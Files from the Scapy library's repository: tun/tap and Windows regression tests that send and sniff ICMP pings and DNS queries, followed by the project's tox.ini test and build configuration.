send(IP(dst="192.0.2.2")/ICMP(seq=(1,3))) = Cleanup t_am.join(timeout=3) tun0.close() ####### + Test strip_packet_info=False on Linux ~ tun linux needs_root not_libpcap = Create a tun interface if not LINUX: raise NotImplementedError() import subprocess tun0 = TunTapInterface("tun0", strip_packet_info=False) assert subprocess.check_call(["ip", "link", "set", "tun0", "up"]) == 0 assert subprocess.check_call([ "ip", "addr", "change", "192.0.2.1", "peer", "192.0.2.2", "dev", "tun0"]) == 0 conf.ifaces.reload() conf.route.resync() conf.route6.resync() = Send ping packets from Linux into Scapy def cb(): send(IP(dst="192.0.2.2")/ICMP(seq=(1,3))) t = AsyncSniffer(opened_socket=tun0, lfilter=lambda x: ICMP in x, started_callback=cb, count=3) t.start() t.join(timeout=3) assert len(t.results) >= 3 icmp4_sequences = set() for pkt in t.results: pkt assert isinstance(pkt, LinuxTunPacketInfo) if not isinstance(pkt.payload, IP) or ICMP not in pkt: # We might get IPv6 router solicitation or other traffic... continue if pkt[IP].src != '192.0.2.1' or pkt[IP].dst != '192.0.2.2' or pkt[ICMP].type != 8: continue icmp4_sequences.add(pkt.seq) # Expect to get 3 different ICMP sequence numbers assert len(icmp4_sequences) == 3 = Delete the tun interface tun0.close() + Test strip_packet_info=True and IPv6 ~ tun needs_root ipv6 not_libpcap = Create a tun interface with IPv4 + IPv6 import subprocess tun0 = TunTapInterface("tun0", strip_packet_info=True) if LINUX: assert subprocess.check_call(["ip", "link", "set", "tun0", "up"]) == 0 assert subprocess.check_call([ "ip", "addr", "change", "192.0.2.1", "peer", "192.0.2.2", "dev", "tun0"]) == 0 assert subprocess.check_call([ "ip", "-6", "addr", "add", "2001:db8::1", "peer", "2001:db8::2", "dev", "tun0"]) == 0 elif BSD: assert subprocess.check_call(["ifconfig", "tun0", "up"]) == 0 assert subprocess.check_call([ "ifconfig", "tun0", "192.0.2.1", "192.0.2.2"]) == 0 assert subprocess.check_call([ "ifconfig", "tun0", "inet6", "2001:db8::1/128", "2001:db8::2"]) == 0 else: raise NotImplementedError() conf.ifaces.reload() conf.route.resync() conf.route6.resync() = Send ping packets from OS into Scapy def cb(): send(IP(dst="192.0.2.2")/ICMP(seq=(1,3))) send(IPv6(dst="2001:db8::2")/ICMPv6EchoRequest(seq=(1,3))) t = AsyncSniffer(opened_socket=tun0, lfilter=lambda x: ICMP in x or ICMPv6EchoRequest in x, started_callback=cb, count=6) t.start() t.join(timeout=3) assert len(t.results) >= 6 icmp4_sequences = set() icmp6_sequences = set() for pkt in t.results: pkt assert isinstance(pkt, (IP, IPv6)) if (isinstance(pkt, IP) and pkt[IP].src == "192.0.2.1" and pkt[IP].dst == "192.0.2.2" and ICMP in pkt and pkt[ICMP].type == 8): icmp4_sequences.add(pkt[ICMP].seq) if (isinstance(pkt, IPv6) and pkt[IPv6].src == "2001:db8::1" and pkt[IPv6].dst == "2001:db8::2" and ICMPv6EchoRequest in pkt): icmp6_sequences.add(pkt[ICMPv6EchoRequest].seq) # Expect to get 3 different ICMP sequence numbers assert len(icmp4_sequences) == 3, ( "Expected 3 IPv4 ICMP ping packets, got: " + repr(icmp4_sequences)) assert len(icmp6_sequences) == 3, ( "Expected 3 IPv6 ICMP ping packets, got: " + repr(icmp6_sequences)) = Delete the tun interface tun0.close() + Test tap interfaces ~ tap needs_root not_libpcap = Create a tap interface with IPv4 import subprocess tap0 = TunTapInterface("tap0") if LINUX: assert subprocess.check_call(["ip", "link", "set", "tap0", "up"]) == 0 assert subprocess.check_call([ "ip", "addr", "change", "192.0.2.1/30", "dev", "tap0"]) == 0 assert subprocess.check_call([ "ip", "neigh", "replace", "192.0.2.2", "lladdr", "20:00:00:20:00:00", "dev", "tap0"]) == 0 else: assert subprocess.check_call(["ifconfig", "tap0", "up"]) == 0 assert subprocess.check_call([ "ifconfig", "tap0", "192.0.2.1", "netmask", "255.255.255.252"]) == 0 assert subprocess.check_call([ "arp", "-s", "192.0.2.2", "20:00:00:20:00:00", "temp"]) == 0 conf.ifaces.reload() conf.route.resync() conf.route6.resync() = Send ping packets from OS into Scapy conf.ifaces conf.route def cb(): sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/IP(dst="192.0.2.2")/ICMP(seq=(1,3)), iface="tap0") t = AsyncSniffer(opened_socket=tap0, lfilter=lambda x: ICMP in x, started_callback=cb, count=3) t.start() t.join(timeout=3) assert len(t.results) >= 3 icmp4_sequences = set() for pkt in t.results: pkt assert isinstance(pkt, Ether) if (IP in pkt and pkt[IP].src == "192.0.2.1" and pkt[IP].dst == "192.0.2.2" and ICMP in pkt and pkt[ICMP].type == 8): icmp4_sequences.add(pkt[ICMP].seq) # Expect to get 3 different ICMP sequence numbers assert len(icmp4_sequences) == 3, ( "Expected 3 IPv4 ICMP ping packets, got: " + repr(icmp4_sequences)) = Delete the tap interface tap0.close() + Refresh interfaces ~ linux tun tap not_libpcap = Cleanup conf.ifaces.reload() conf.route.resync() conf.route6.resync() ================================================ FILE: test/windows.uts ================================================ % Regression tests on Windows only for Scapy # More information at http://www.secdev.org/projects/UTscapy/ + Configuration = Imports from unittest import mock ############ ############ + Mechanics tests = Automaton - Test select_objects edge cases assert select_objects([ObjectPipe()], 0) == [] assert select_objects([ObjectPipe()], 1) == [] a = ObjectPipe() a.send("test") assert select_objects([a], 0) == [a] ############ ############ + Windows arch unit tests = Test network_name iface = conf.iface assert network_name(iface.name) == iface.network_name assert network_name(iface.description) == iface.network_name assert network_name(iface.network_name) == iface.network_name = dev_from_networkname from scapy.config import conf assert dev_from_networkname(conf.iface.network_name).guid == conf.iface.guid = test pcap_service_status ~ npcap_service from scapy.arch.windows import pcap_service_status status = pcap_service_status() assert status = test get_if_list from scapy.interfaces import get_if_list print(get_if_list()) assert all(x.startswith(r"\Device\NPF_") for x in get_if_list()) = test pcap_service_stop ~ ci_only require_gui npcap_service from scapy.arch.windows import pcap_service_stop pcap_service_stop() assert pcap_service_status() == False = test pcap_service_start ~ ci_only require_gui npcap_service from scapy.arch.windows import pcap_service_start pcap_service_start() assert pcap_service_status() == True = Test auto-pcap start UI @mock.patch("scapy.arch.windows.get_windows_if_list") def _test_autostart_ui(mocked_getiflist): mocked_getiflist.side_effect = lambda: [] conf.ifaces.reload() assert all(x.index < 0 for x in conf.ifaces.data.values()) try: old_ifaces = conf.ifaces.data.copy() _test_autostart_ui() finally: conf.ifaces.data = old_ifaces ######### Native mode ########### + Test Windows Native sockets = Set up native mode conf.use_pcap = False conf.route.resync() conf.ifaces.reload() assert conf.use_pcap == False = Ping ~ netaccess needs_root icmp_firewall def _test(): with conf.L3socket() as a: answer = a.sr1(IP(dst="1.1.1.1", ttl=128)/ICMP()/"abcdefghijklmnopqrstuvwabcdefghi", timeout=2) answer.show() assert ICMP in answer retry_test(_test) = DNS lookup ~ netaccess needs_root def _test(): answer = sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1, qd=DNSQR(qname="www.google.com")), timeout=2) answer.show() assert DNS in answer assert answer.qd.qname == b'www.google.com.' retry_test(_test) = Test L3WinSocket close() with partial initialization ~ windows from scapy.arch.windows.native import L3WinSocket import socket # Create partially initialized L3WinSocket ws = object.__new__(L3WinSocket) ws.closed = False ws.promisc = True # Note: ws.ins is intentionally not set # This should not raise AttributeError try: ws.close() test_passed = True except AttributeError: test_passed = False assert test_passed, "L3WinSocket.close() raised AttributeError on partially initialized object" = Leave native mode conf.use_pcap = True conf.route.resync() conf.ifaces.reload() assert conf.use_pcap == True ================================================ FILE: tox.ini ================================================ # Scapy tox configuration file # Copyright (C) 2020 Guillaume Valadon # Tox environments: # py{version}-{os}-{non_root,root} # In our testing, version can be 37 to 313 or py39 for pypy39 [tox] # minversion = 4.0 skip_missing_interpreters = true # envlist = default when doing 'tox' envlist = py{37,38,39,310,311,312,313}-{linux,bsd,windows}-{non_root,root} # Main tests [testenv] description = "Scapy unit tests" allowlist_externals = sudo parallel_show_output = true package = wheel passenv = PATH PWD PROGRAMFILES WINDIR SYSTEMROOT OPENSSL_CONF # Used by scapy SCAPY_USE_LIBPCAP deps = ipython cryptography coverage[toml] python-can cbor2 scapy-rpc # disabled on windows because they require c++ dependencies # brotli 1.1.0 broken https://github.com/google/brotli/issues/1072 brotli < 1.1.0 ; sys_platform != 'win32' zstandard ; sys_platform != 'win32' platform = linux: linux bsd: (darwin|freebsd|openbsd|netbsd).* windows: win32 commands = linux-non_root: {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c ./test/configs/linux.utsc -N {posargs} linux-root: sudo -E {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c ./test/configs/linux.utsc {posargs} bsd-non_root: {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c test/configs/bsd.utsc -K tshark -N {posargs} bsd-root: sudo -E {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c test/configs/bsd.utsc -K tshark {posargs} windows: {envpython} {env:DISABLE_COVERAGE:-m coverage run} -m scapy.tools.UTscapy -c test/configs/windows.utsc {posargs} {env:DISABLE_COVERAGE:coverage combine} {env:DISABLE_COVERAGE:coverage xml -i} # Variants of the main tests [testenv:py38-isotp_kernel_module] description = "Scapy unit tests - ISOTP Linux kernel module" allowlist_externals = sudo git bash lsmod modprobe passenv = PATH PWD PROGRAMFILES WINDIR SYSTEMROOT deps = {[testenv]deps} commands = sudo apt-get -qy install build-essential linux-headers-$(uname -r) linux-modules-extra-$(uname -r) sudo -E modprobe can git clone --depth=1 https://github.com/linux-can/can-utils.git /tmp/can-utils bash -c "cd /tmp/can-utils; ./autogen.sh; ./configure; make; sudo make install" git clone --depth=1 https://github.com/hartkopp/can-isotp.git /tmp/can-isotp bash -c "cd /tmp/can-isotp; make; sudo make modules_install; sudo modprobe can_isotp || sudo insmod ./net/can/can-isotp.ko" bash -c "rm -rf /tmp/can-utils /tmp/can-isotp" lsmod sudo -E {envpython} -m coverage run -m scapy.tools.UTscapy -c ./test/configs/linux.utsc {posargs} coverage combine coverage xml -i # Test used by upstream pyca/cryptography [testenv:cryptography] description = "Scapy unit tests - pyca/cryptography variant" sitepackages = true deps = commands = python -c "import cryptography; print('DEBUG: cryptography %s' % cryptography.__version__)" python -m scapy.tools.UTscapy -c ./test/configs/cryptography.utsc # The files listed past the first argument of the sphinx-apidoc command are ignored [testenv:apitree] description = "Regenerates the API reference doc tree" skip_install = true changedir = {toxinidir}/doc/scapy deps = sphinx cryptography commands = sphinx-apidoc -f --no-toc -d 1 --separate --module-first --templatedir=_templates --output-dir api ../../scapy ../../scapy/modules/voip.py ../../scapy/modules/krack/ ../../scapy/libs/winpcapy.py ../../scapy/libs/ethertypes.py ../../scapy/libs/bluetoothids.py ../../scapy/libs/m*.py ../../scapy/libs/structures.py ../../scapy/libs/test_pyx.py ../../scapy/tools/ ../../scapy/arch/ ../../scapy/contrib/scada/* ../../scapy/layers/msrpce/raw/ ../../scapy/layers/msrpce/all.py ../../scapy/all.py ../../scapy/layers/all.py ../../scapy/compat.py [testenv:mypy] description = "Check Scapy compliance against static typing" skip_install = true deps = mypy==1.7.0 typing commands = python .config/mypy/mypy_check.py linux python .config/mypy/mypy_check.py win32 [testenv:docs] description = "Build the docs" deps = cryptography sphinx sphinx_rtd_theme extras = doc changedir = {toxinidir}/doc/scapy commands = sphinx-build -W --keep-going -b html . _build/html # Debug mode [testenv:docs2] description = "Build the docs without rebuilding the API tree" extras = doc changedir = {toxinidir}/doc/scapy deps = {[testenv:docs]deps} setenv = SCAPY_APITREE = 0 commands = sphinx-build -W --keep-going -b html . _build/html [testenv:spell] description = "Check code for Grammar mistakes" skip_install = true deps = codespell # inet6, dhcp6 and the ipynb files contains french: ignore them commands = codespell --ignore-words=.config/codespell_ignore.txt --skip="*.pyc,*.png,*.jpg,*.ods,*.raw,*.pdf,*.pcap,*.js,*.html,*.der,*_build*,*inet6.py,*dhcp6.py,*manuf.py,*tcpros.py,*bluetoothids.py,*.ipynb,*.svg,*.gif,*.obs,*.gz" scapy/ doc/ test/ .github/ [testenv:twine] description = "Check Scapy code distribution" skip_install = true deps = twine cmarkgfm build setenv = SCAPY_VERSION=3.0.0 commands = python -m build twine check --strict dist/* [testenv:gitarchive] description = "Check Scapy git archive" skip_install = true allowlist_externals = git commands = git version git archive HEAD -o {envtmpdir}/scapy.tar python -m pip install {envtmpdir}/scapy.tar # Below: remove current folder from path to force use of installed Scapy python -c "import sys; sys.path.remove(''); import scapy; print(scapy._version_from_git_archive())" [testenv:flake8] description = "Check Scapy code style & quality" skip_install = true deps = flake8<6.0.0 commands = flake8 scapy/ # flake8 configuration [flake8] ignore = E203, E731, W504, W503 max-line-length = 88 per-file-ignores = scapy/all.py:F403,F401 scapy/asn1/mib.py:E501 scapy/contrib/automotive/obd/obd.py:F405,F403 scapy/contrib/automotive/obd/pid/pids.py:F405,F403 scapy/contrib/automotive/obd/scanner.py:F405,F403,E501 scapy/contrib/automotive/volkswagen/definitions.py:E501 scapy/contrib/eigrp.py:E501 scapy/contrib/geneve.py:E501 scapy/contrib/http2.py:F821 scapy/contrib/igmp.py:E501 scapy/contrib/scada/iec104/__init__.py:F405 scapy/layers/tls/all.py:F403 scapy/layers/tls/crypto/all.py:F403 scapy/layers/tls/crypto/md4.py:E741 scapy/libs/winpcapy.py:F405,F403,E501 scapy/libs/manuf.py:E501 scapy/tools/UTscapy.py:E501 exclude = scapy/libs/ethertypes.py, scapy/layers/msrpce/raw/*